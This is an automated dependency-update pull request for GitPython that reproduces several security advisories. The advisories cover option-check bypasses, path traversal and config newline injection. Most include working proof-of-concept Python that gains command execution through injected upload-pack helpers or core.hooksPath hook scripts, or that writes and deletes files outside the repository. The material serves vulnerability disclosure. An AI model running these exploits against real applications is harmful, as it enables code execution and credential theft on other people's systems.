          PR contains the following updates:\n\n| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/)
          | [Confidence](https://docs.renovatebot.com/merge-confidence/) |\n|---|---|---|---|\n|
          [GitPython](https://redirect.github.com/gitpython-developers/GitPython)
          | `==3.1.44` \u2192 `==3.1.57` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/gitpython/3.1.57?slim=true)
          | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/gitpython/3.1.44/3.1.57?slim=true)
          |\n\n---\n\n### GitPython has Command Injection via Git options bypass\n[CVE-2026-42215](https://nvd.nist.gov/vuln/detail/CVE-2026-42215)
          / [GHSA-rpm5-65cw-6hj4](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\nGitPython blocks dangerous
          Git options such as `--upload-pack` and `--receive-pack` by default, but
          the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that
          check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`,
          `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary
          command execution even when `allow_unsafe_options` is left at its default
          value of `False`.\n\n##### Details\nGitPython explicitly treats helper-command
          options as unsafe because they can be used to execute arbitrary commands:\n\n-
          `git/repo/base.py:145-153` marks clone options such as `--upload-pack`,
          `-u`, `--config`, and `-c` as unsafe.\n- `git/remote.py:535-548` marks fetch/pull/push
          options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe.\n\nThe
          vulnerable API paths check the raw kwarg names before they're its normalized
          into command-line flags:\n\n- `Repo.clone_from()` checks `list(kwargs.keys())`
          in `git/repo/base.py:1387-1390`\n- `Remote.fetch()` checks `list(kwargs.keys())`
          in `git/remote.py:1070-1071`\n- `Remote.pull()` checks `list(kwargs.keys())`
          in `git/remote.py:1124-1125`\n- `Remote.push()` checks `list(kwargs.keys())`
          in `git/remote.py:1197-1198`\n\nThat validation is performed by `Git.check_unsafe_options()`
          in `git/cmd.py:948-961`. The validator correctly blocks option names such
          as `upload-pack`, `receive-pack`, and `exec`.\n\nLater, GitPython converts
          Python kwargs into Git command-line flags in `Git.transform_kwarg()` at
          `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified:\n\n-
          `upload_pack=...` becomes `--upload-pack=...`\n- `receive_pack=...` becomes
          `--receive-pack=...`\n\nBecause the unsafe-option check runs before this
          normalization, underscore-form kwargs bypass the safety check even though
          they become the exact dangerous Git flags that the code is supposed to reject.\n\nIn
          practice:\n\n- `remote.fetch(**{\"upload-pack\": helper})` is blocked with
          `UnsafeOptionError`\n- `remote.fetch(upload_pack=helper)` is allowed and
          reaches helper execution\n\nThe same bypass works for:\n\n```python\nRepo.clone_from(origin,
          out, upload_pack=helper)\nrepo.remote(\"origin\").fetch(upload_pack=helper)\nrepo.remote(\"origin\").pull(upload_pack=helper)\nrepo.remote(\"origin\").push(receive_pack=helper)\n```\n\nThis
          does not appear to affect every unsafe option. For example, `exec=` is already
          rejected because the raw kwarg name `exec` matches the blocked option name
          before normalization.\n\nExisting tests cover the hyphenated form, not the
          vulnerable underscore form. For example:\n\n- `test/test_clone.py:129-136`
          checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:830-833` checks
          `{\"upload-pack\": ...}`\n- `test/test_remote.py:968-975` checks `{\"receive-pack\":
          ...}`\n\nThose tests correctly confirm the literal Git option names are
          blocked, but they do not exercise the normal Python kwarg spelling that
          bypasses the guard.\n\n##### PoC\n1. Create and activate a virtual environment
          in the repository root:\n\n```bash\npython3 -m venv .venv-sec\n.venv-sec/bin/pip
          install setuptools gitdb\nsource ./.venv-sec/bin/activate\n```\n\n2. make
          a new python file and put the following in there, then run it:\n\n```python\nimport
          os\nimport stat\nimport subprocess\nimport tempfile\n\nfrom git import Repo\nfrom
          git.exc import UnsafeOptionError\n\n##### Setup: create isolated repositories
          so the PoC uses a normal fetch flow.\nbase = tempfile.mkdtemp(prefix=\"gp-poc-risk-\")\norigin
          = os.path.join(base, \"origin.git\")\nproducer = os.path.join(base, \"producer\")\nvictim
          = os.path.join(base, \"victim\")\nproof = os.path.join(base, \"proof.txt\")\nwrapper
          = os.path.join(base, \"wrapper.sh\")\n\n##### Setup: this wrapper is just
          to demo things you can do, not required for the exploit to work\n\n#####
          you could also do something like an SSH reverse shell, really anything\nwith
          open(wrapper, \"w\") as f:\n    f.write(f\"\"\"#!/bin/sh\n{{\n  echo \"code_exec=1\"\n
          \ echo \"whoami=$(id)\"\n  echo \"cwd=$(pwd)\"\n  echo \"uname=$(uname -a)\"\n
          \ printf 'argv='; printf '<%s>' \"$@\"; echo\n  env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)='
          | sed 's/=.*$/=<redacted>/' || true\n}} > '{proof}'\nexec git-upload-pack
          \"$@\"\n\"\"\")\nos.chmod(wrapper, stat.S_IRWXU)\n\nsubprocess.run([\"git\",
          \"init\", \"--bare\", origin], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run([\"git\",
          \"clone\", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nwith
          open(os.path.join(producer, \"README\"), \"w\") as f:\n    f.write(\"x\")\n\nsubprocess.run([\"git\",
          \"-C\", producer, \"add\", \"README\"], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run(\n
          \   [\"git\", \"-C\", producer, \"-c\", \"user.name=t\", \"-c\", \"user.email=t@t\",
          \"commit\", \"-m\", \"init\"],\n    check=True,\n    stdout=subprocess.DEVNULL,\n)\nsubprocess.run([\"git\",
          \"-C\", producer, \"push\", \"origin\", \"HEAD\"], check=True, stdout=subprocess.DEVNULL,
          stderr=subprocess.DEVNULL)\nsubprocess.run([\"git\", \"clone\", origin,
          victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nrepo
          = Repo(victim)\nremote = repo.remote(\"origin\")\n\n##### the literal Git
          option name is properly blocked.\ntry:\n    remote.fetch(**{\"upload-pack\":
          wrapper})\n    print(\"control=unexpected_success\")\nexcept UnsafeOptionError:\n
          \   print(\"control=blocked\")\n\n##### this is the actual vulnerability\n\n#####
          you can also just do upload_pack=\"touch /tmp/proof\", the wrapper is just
          to show greater impact\n##### if you do the \"touch /tmp/proof\" the script
          will crash, but the file will have been created\nremote.fetch(upload_pack=wrapper)\n\n#####
          Proof: the helper ran as the GitPython host process.\nprint(\"proof_exists\",
          os.path.exists(proof), proof)\nprint(open(proof).read())\n```\n\n3. Expected
          result:\n\n- The script prints `control=blocked`\n- The script prints `proof_exists
          True ...`\n- The proof file contains evidence that the attacker-controlled
          helper executed as the local application account, including `id`, working
          directory, argv, and selected environment variable names\n\nExample output:\n\n```bash\nGitPython
          % python3 test.py\ncontrol=blocked\nproof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt\ncode_exec=1\nwhoami=uid=501(wes)
          gid=20(staff) <redacted>\ncwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim\nuname=Darwin
          \ <redacted> Darwin Kernel Version  <redacted>; root:xnu-11417. <redacted>\nargv=</var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git>\nUSER=<redacted>\nSSH_AUTH_SOCK=<redacted>\nPATH=<redacted>\nHOME=<redacted>\n```\n\nThis
          PoC does not require a malicious repository. The PoC uses that fresh blank
          repository. The only attacker-controlled input is the kwarg that GitPython
          turns into `--upload-pack`.\n\n##### Impact\nWho is impacted:\n- Web applications
          that let users configure repository import, sync, mirroring, fetch, pull,
          or push behavior\n- Systems that accept a user-provided dict of \"extra
          Git options\" and pass it into GitPython with `**kwargs`\n- CI/CD systems,
          workers, automation bots, or internal tools that build GitPython calls from
          untrusted integration settings or job definitions (yaml, json, etc configs
          )\n\nWhat the attacker needs to control:\n\n- A value that becomes `upload_pack`
          or `receive_pack` in the kwargs passed to `Repo.clone_from()`, `Remote.fetch()`,
          `Remote.pull()`, or `Remote.push()`\n\nFrom a severity perspective, this
          could lead to\n- Theft of SSH keys, deploy credentials, API tokens, or cloud
          credentials available to the process\n- Modification of repositories, build
          outputs, or release artifacts\n- Lateral movement from CI/CD workers or
          automation hosts\n- Full compromise of the worker or service process handling
          repository operations\n\nThe highest-risk environments are network-reachable
          services and automation systems that expose these GitPython kwargs across
          a trust boundary while relying on the default unsafe-option guard for protection.\n\n####
          Severity\n- CVSS Score: 8.8 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-42215](https://nvd.nist.gov/vuln/detail/CVE-2026-42215)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.47)\n-
          [https://github.com/advisories/GHSA-rpm5-65cw-6hj4](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Unsafe option check validates multi_options before shlex.split
          transformation\n[CVE-2026-42284](https://nvd.nist.gov/vuln/detail/CVE-2026-42284)
          / [GHSA-x2qx-6953-8485](https://redirect.github.com/advisories/GHSA-x2qx-6953-8485)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n\n`_clone()` validates
          `multi_options` as the original list, then executes `shlex.split(\" \".join(multi_options))`.
          A string like `\"--branch main --config core.hooksPath=/x\"` passes validation
          (starts with `--branch`), but after split becomes `[\"--branch\", \"main\",
          \"--config\", \"core.hooksPath=/x\"]`. Git applies the config and executes
          attacker hooks during clone.\n\n##### Details\n\nThe vulnerable code is
          in [`git/repo/base.py` line 1383](https://redirect.github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383):\n```python\nmulti
          = shlex.split(\" \".join(multi_options))\n```\n\nThen validation runs on
          the **original** list at [line 1390](https://redirect.github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390):\n```python\nGit.check_unsafe_options(options=multi_options,
          unsafe_options=cls.unsafe_git_clone_options)\n```\n\nThen execution uses
          the **transformed** result at [line 1392](https://redirect.github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392):\n```python\nproc
          = git.clone(multi, \"--\", url, path, ...)\n```\n\nThe [check at `git/cmd.py`
          line 959](https://redirect.github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959)
          uses `startswith`:\n```python\nif option.startswith(unsafe_option) or option
          == bare_option:\n```\n\n`\"--branch main --config ...\"` does not start
          with `\"--config\"`, so it passes. After `shlex.split`, `\"--config\"` becomes
          its own token and reaches git.\n\nAlso affects `Submodule.update()` via
          `clone_multi_options`.\n\n##### PoC\n\n```python\nimport sys, pathlib, subprocess\nsys.path.insert(0,
          str(pathlib.Path(__file__).resolve().parent))\n\nfrom git import Repo\nfrom
          git.exc import UnsafeOptionError\n\ntry:\n    Repo.clone_from(\"/nonexistent\",
          \"/tmp/x\", multi_options=[\"--config\", \"core.hooksPath=/x\"])\nexcept
          UnsafeOptionError:\n    print(\"multi_options=['--config', '...']: Block
          as expected\")\nexcept Exception:\n    pass\n\nDIR = pathlib.Path(__file__).resolve().parent
          / \"workdir_b\"\nSRC = DIR / \"repo\"\nDST = DIR / \"dst\"\nHOOKS = DIR
          / \"hooks\"\nLOG = DIR / \"output.log\"\n\nif not SRC.exists():\n    SRC.mkdir(parents=True)\n
          \   r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)\n    r(\"git\",
          \"init\", \"-b\", \"main\")\n    (SRC / \"f\").write_text(\"x\\n\")\n    r(\"git\",
          \"add\", \".\")\n    r(\"git\", \"commit\", \"-m\", \"init\")\n\nHOOKS.mkdir(exist_ok=True)\nhook
          = HOOKS / \"post-checkout\"\nhook.write_text(f\"#!/bin/sh\\nwhoami > {LOG.as_posix()}\\nhostname
          >> {LOG.as_posix()}\\n\")\nhook.chmod(0o755)\n\nLOG.unlink(missing_ok=True)\npayload
          = \"--branch main --config core.hooksPath=\" + HOOKS.as_posix()\n\ntry:\n
          \   Repo.clone_from(str(SRC), str(DST), multi_options=[payload])\nexcept
          UnsafeOptionError:\n    print(f\"multi_options=['{payload}']: BLOCKED\");
          sys.exit(1)\nexcept Exception:\n    pass\n\nif not LOG.exists() and DST.exists():\n
          \   subprocess.run([\"git\", \"checkout\", \"--force\", \"main\"], cwd=DST,
          capture_output=True)\n\nprint(f\"multi_options=['{payload}']: not blocked\")\nprint(f\"\\nHook
          executed: {LOG.exists()}\")\nif LOG.exists():\n    print(LOG.read_text().strip())\n```\n\n**Output:**\n```\nmulti_options=['--config',
          '...']: Block as expected\nmulti_options=['--branch main --config core.hooksPath=.../hooks']:
          not blocked\n\nHook executed: True\ntexugo\nDESKTOP-5w5HH79\n```\n\n#####
          Impact\n\nAny application passing user input to `multi_options` in `clone_from()`,
          `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config
          core.hooksPath=<dir>` inside a string starting with a safe option. Check
          does not block it. Git executes attacker code. Same class as CVE-2023-40267.\n\n####
          Severity\n- CVSS Score: 8.1 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-42284](https://nvd.nist.gov/vuln/detail/CVE-2026-42284)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.47)\n-
          [https://www.tenable.com/cve/CVE-2026-32686](https://www.tenable.com/cve/CVE-2026-32686)\n-
          [https://github.com/advisories/GHSA-x2qx-6953-8485](https://redirect.github.com/advisories/GHSA-x2qx-6953-8485)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-x2qx-6953-8485)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython reference APIs has a path traversal vulnerability that allows
          arbitrary file write and delete outside the repository\n[CVE-2026-44243](https://nvd.nist.gov/vuln/detail/CVE-2026-44243)
          / [GHSA-7545-fcxq-7j24](https://redirect.github.com/advisories/GHSA-7545-fcxq-7j24)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### \U0001F9FE Summary\n\nA vulnerability
          in **GitPython** allows **attackers who can supply a crafted reference path
          to an application using GitPython** to **write, overwrite, move, or delete
          files outside the repository\u2019s `.git` directory** via **insufficient
          validation of reference paths in reference creation, rename, and delete
          operations**.\n\n---\n\n##### \U0001F4E6 Affected Versions\n\n* Affected:
          `<= 3.1.46` and current `main` (`3.1.47` in local checkout)\n\n---\n\n#####
          \U0001F9E0 Details\n\n##### Vulnerability Type\n\n**Path Traversal leading
          to Arbitrary File Write and Arbitrary File Deletion**\n\n---\n\n##### Root
          Cause\n\nReference paths are validated when they are resolved for reading,
          but are not consistently validated before filesystem write, rename, and
          delete operations.\n\n`SymbolicReference._check_ref_name_valid()` rejects
          traversal sequences such as `..`, but `SymbolicReference.create`, `Reference.create`,
          `SymbolicReference.set_reference`, `SymbolicReference.rename`, and `SymbolicReference.delete`
          still construct filesystem paths from attacker-controlled ref names without
          enforcing repository boundaries.\n\n---\n\n##### Affected Code\n\n```python\ndef
          set_reference(self, ref, logmsg=None):\n    ...\n    fpath = self.abspath\n
          \   assure_directory_exists(fpath, is_file=True)\n\n    lfd = LockedFD(fpath)\n
          \   fd = lfd.open(write=True, stream=True)\n    ...\n```\n\n```python\n@classmethod\ndef
          delete(cls, repo, path):\n    full_ref_path = cls.to_full_path(path)\n    abs_path
          = os.path.join(repo.common_dir, full_ref_path)\n    if os.path.exists(abs_path):\n
          \       os.remove(abs_path)\n```\n\n```python\ndef rename(self, new_path,
          force=False):\n    new_path = self.to_full_path(new_path)\n    new_abs_path
          = os.path.join(_git_dir(self.repo, new_path), new_path)\n    cur_abs_path
          = os.path.join(_git_dir(self.repo, self.path), self.path)\n    ...\n    os.rename(cur_abs_path,
          new_abs_path)\n```\n\n---\n\n##### Attack Vector\n\n**Local attack through
          application-controlled input passed into GitPython reference APIs**\n\n#####
          Authentication Required\n\n**None at the library boundary. In practice,
          exploitation requires the ability to influence ref names supplied by the
          consuming application.**\n\n---\n\n##### \U0001F9EA Proof of Concept\n\n#####
          Setup\n\n```bash\npip install GitPython==3.1.46\npython poc.py\n```\n\n---\n\n#####
          Exploit\n\n```python\nimport shutil\nfrom pathlib import Path\n\nfrom git
          import Repo\nfrom git.refs.reference import Reference\nfrom git.refs.symbolic
          import SymbolicReference\n\nbase = Path(\"gp-ghsa-poc\").resolve()\nif base.exists():\n
          \   shutil.rmtree(base)\n\nrepo_dir = base / \"repo\"\nrepo = Repo.init(repo_dir)\n\n(repo_dir
          / \"a.txt\").write_text(\"init\\n\", encoding=\"utf-8\")\nrepo.index.add([\"a.txt\"])\nrepo.index.commit(\"init\")\n\noutside_write
          = base / \"outside_write.txt\"\noutside_delete = base / \"outside_delete.txt\"\noutside_delete.write_text(\"DELETE
          ME\\n\", encoding=\"utf-8\")\n\nprint(f\"repo_dir       = {repo_dir}\")\nprint(f\"outside_write
          \ = {outside_write}\")\nprint(f\"outside_delete = {outside_delete}\")\n\nReference.create(repo,
          \"../../../outside_write.txt\", \"HEAD\")\n\nprint(\"\\n[+] outside_write
          exists:\", outside_write.exists())\nif outside_write.exists():\n    print(\"[+]
          outside_write content:\")\n    print(outside_write.read_text(encoding=\"utf-8\"))\n\nSymbolicReference.delete(repo,
          \"../../../outside_delete.txt\")\n\nprint(\"\\n[+] outside_delete exists
          after delete:\", outside_delete.exists())\n```\n\n---\n\n##### Result\n\n```text\nrepo_dir
          \      = ...\\gp-ghsa-poc\\repo\noutside_write  = ...\\gp-ghsa-poc\\outside_write.txt\noutside_delete
          = ...\\gp-ghsa-poc\\outside_delete.txt\n\n[+] outside_write exists: True\n[+]
          outside_write content:\n<current HEAD commit SHA>\n\n[+] outside_delete
          exists after delete: False\n```\n\n---\n\n##### \U0001F4A5 Impact\n\n#####
          What can an attacker do?\n\n* Create or overwrite files outside the repository
          metadata directory\n* Delete attacker-chosen files reachable from the process
          permissions\n* Corrupt application state or configuration files\n* Cause
          denial of service by deleting or overwriting important files\n\n---\n\n#####
          Security Impact\n\n* **Confidentiality:** Low\n* **Integrity:** High\n*
          **Availability:** High\n\n---\n\n##### Who is affected?\n\n* Applications
          that expose GitPython reference operations to user-controlled input\n* Git
          automation services, repository management backends, CI/CD helpers, and
          developer platforms\n* Multi-user environments where one user can influence
          ref names processed on behalf of another workflow\n\n---\n\n##### \U0001F6E0\uFE0F
          Mitigation / Fix\n\n##### Recommended Fix\n\n```python\ndef _validate_ref_write_path(repo,
          path, *, for_git_dir=False):\n    SymbolicReference._check_ref_name_valid(path)\n\n
          \   base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve()\n
          \   target = (base / path).resolve()\n\n    if base not in [target, *target.parents]:\n
          \       raise ValueError(f\"Reference path escapes repository boundary:
          {path}\")\n\n    return str(target)\n```\n\n```python\nfull_ref_path = cls.to_full_path(path)\n_validate_ref_write_path(repo,
          full_ref_path)\n```\n\n#### Severity\n- CVSS Score: 7.8 / 10 (High)\n- Vector
          String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-44243](https://nvd.nist.gov/vuln/detail/CVE-2026-44243)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.48)\n-
          [https://github.com/advisories/GHSA-7545-fcxq-7j24](https://redirect.github.com/advisories/GHSA-7545-fcxq-7j24)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-7545-fcxq-7j24)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Newline injection in config_writer().set_value() enables RCE
          via core.hooksPath\n[CVE-2026-44244](https://nvd.nist.gov/vuln/detail/CVE-2026-44244)
          / [GHSA-v87r-6q3f-2j67](https://redirect.github.com/advisories/GHSA-v87r-6q3f-2j67)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n`GitConfigParser.set_value()` passes
          values to Python's `configparser` without validating for newlines. GitPython's
          own `_write()` converts embedded newlines into indented continuation lines
          (e.g. `\\n` becomes `\\n\\t`), but Git still accepts an indented `[core]`
          stanza as a section header \u2014 so the injected `core.hooksPath` becomes
          effective configuration. Any Git operation that invokes hooks (commit, merge,
          checkout) will then execute scripts from the attacker-controlled path.\n\nThe
          vulnerability is not merely malformed config output: GitPython's own writer
          converts embedded newlines into indented continuation lines, but Git still
          accepts an indented `[core]` stanza as a section header, so the injected
          `core.hooksPath` becomes effective configuration.\n\nThis was found while
          auditing MLRun's `project.push()` method, which passes `author_name` and
          `author_email` directly to `config_writer().set_value()` with no sanitization.
          Both parameters cross a trust boundary \u2014 they are caller-supplied API
          inputs that end up in `.git/config`.\n\nPoC (standalone, no MLRun required):\n\n```python\nimport
          git, subprocess, os\n\nrepo = git.Repo(\"/tmp/testrepo\")\n\nwith repo.config_writer()
          as cw:\n    cw.set_value(\"user\", \"name\", \"foo\\n[core]\\nhooksPath=/tmp/hooks\")\n\nr
          = subprocess.run([\"git\", \"config\", \"core.hooksPath\"], cwd=\"/tmp/testrepo\",
          capture_output=True, text=True)\nassert r.returncode == 0\nprint(r.stdout.strip())
          \ # /tmp/hooks\n\nos.makedirs(\"/tmp/hooks\", exist_ok=True)\nopen(\"/tmp/hooks/pre-commit\",
          \"w\").write(\"#!/bin/sh\\nid > /tmp/pwned\\n\")\nos.chmod(\"/tmp/hooks/pre-commit\",
          0o755)\n\nrepo.index.add([\"README\"])\nrepo.git.commit(m=\"test\")\nprint(open(\"/tmp/pwned\").read())
          \ # uid=...\n```\n\nTested on GitPython 3.1.46, git 2.39+.\n\nImpact: This
          is persistent repo config poisoning. Any user who can supply `author_name`
          or `author_email` to an application calling `config_writer().set_value()`
          can redirect Git hook execution to an arbitrary path. In a multi-user or
          hosted environment (e.g. a shared MLRun server where multiple users push
          to the same repositories), one user can poison the `.git/config` of a shared
          repo and have their hooks run in the context of every subsequent Git operation
          by any user. On single-user deployments, the impact depends on whether the
          application later invokes Git hooks automatically.\n\nRemediation: `set_value()`
          should raise on CR, LF, or NUL in values rather than silently pass them
          through:\n\n```python\nimport re\n\nif isinstance(value, (str, bytes)) and
          re.search(r\"[\\r\\n\\x00]\", str(value)):\n    raise ValueError(\"Git config
          values must not contain CR, LF, or NUL\")\n```\n\nRejecting is safer than
          stripping \u2014 a stripped newline might indicate the caller is passing
          unsanitized input at a higher level, and silent normalization masks that.\n\nAffected
          wherever `config_writer().set_value(section, key, user_input)` is called
          with external input.** GitPython is a dependency of DVC, MLflow, Kedro,
          and others \u2014 worth auditing their `set_value()` call sites for externally
          influenced inputs.\n\n#### Severity\n- CVSS Score: 7.8 / 10 (High)\n- Vector
          String: `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n#### References\n-
          [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-44244](https://nvd.nist.gov/vuln/detail/CVE-2026-44244)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.49)\n-
          [https://github.com/advisories/GHSA-v87r-6q3f-2j67](https://redirect.github.com/advisories/GHSA-v87r-6q3f-2j67)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-v87r-6q3f-2j67)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Newline injection in config_writer() section parameter bypasses
          CVE-2026-42215 patch, enabling RCE via core.hooksPath\n[GHSA-mv93-w799-cj2w](https://redirect.github.com/advisories/GHSA-mv93-w799-cj2w)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\nSummary\n\nThe patch for CVE-2026-42215
          (GitPython 3.1.49) validates newlines only in the value parameter of set_value().
          The section and option parameters are passed to configparser without any
          newline validation. An attacker who controls the section argument can inject
          \\n to write arbitrary section headers into .git/config, including a forged
          [core] section with hooksPath pointing to an attacker-controlled directory,
          leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py
          \u2014 GitPython 3.1.49 (latest patched version)\n\n```python\n  def set_value(self,
          section: str, option: str, value) -> \"GitConfigParser\":\n      value_str
          = self._value_to_string_safe(value)   # only value is validated\n      if
          not self.has_section(section):\n          self.add_section(section)                    #
          section not validated\n      super().set(section, option, value_str)          #
          option not validated\n      return self\n```\n\n_write() formats section
          headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes
          [user]\\n[core]\\n \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n
          \ import git, os, subprocess\n\n  repo = git.Repo.init(\"/tmp/bypass_test\")\n\n
          \ os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n  with open(\"/tmp/evil_hooks/pre-commit\",
          \"w\") as f:\n      f.write(\"#!/bin/sh\\nid > /tmp/rce_proof.txt\\n\")\n
          \ os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n  # Inject newline
          into section parameter (not value \u2014 already patched)\n  with repo.config_writer()
          as cw:\n      cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n
          \ r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\",
          \"core.hooksPath\"],\n                     capture_output=True, text=True)\n
          \ print(r.stdout.strip())  # \u2192 /tmp/evil_hooks\n\n  subprocess.run([\"git\",
          \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n
          \ print(open(\"/tmp/rce_proof.txt\").read())  # \u2192 uid=1000(...) RCE
          confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via
          core.hooksPath injection). The patch is incomplete \u2014 only value is
          validated while section and option remain injectable.\n\n#### Severity\n-
          CVSS Score: 7.0 / 10 (High)\n- Vector String: `CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w)\n-
          [https://github.com/advisories/GHSA-rpm5-65cw-6hj4](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)\n-
          [https://github.com/advisories/GHSA-mv93-w799-cj2w](https://redirect.github.com/advisories/GHSA-mv93-w799-cj2w)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-mv93-w799-cj2w)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Command Injection via git long-option prefix abbreviation bypass
          of CVE-2026-42215 blocklist\n[GHSA-2f96-g7mh-g2hx](https://redirect.github.com/advisories/GHSA-2f96-g7mh-g2hx)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Command injection via long-option
          prefix abbreviation bypassing `check_unsafe_options` (incomplete fix of
          CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)\n\n**Component:** gitpython-developers/GitPython
          (PyPI: GitPython)\n**Affected:** all versions carrying the 3.1.47 blocklist
          fix, through current `main` (verified at commit `20c5e275`, `3.1.50-42`)\n**CWE:**
          CWE-184 (Incomplete List of Disallowed Inputs) \u2192 CWE-78 (OS Command
          Injection)\n**Severity:** inherits the parent CVE-2026-42215 surface; estimated
          High, ~8.8 (`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`) \u2014 final scoring
          deferred to maintainer/CNA, mirroring the parent.\n**Reporter:** hackkim\n\n#####
          Summary\n\nThe 3.1.47 fix for CVE-2026-42215 blocks dangerous git options
          (`--upload-pack`, `--config`, `-c`, `-u` for clone; `--upload-pack` for
          fetch/pull; `--receive-pack`, `--exec` for push) so callers cannot reach
          command-executing options unless they pass `allow_unsafe_options=True`.\n\nThe
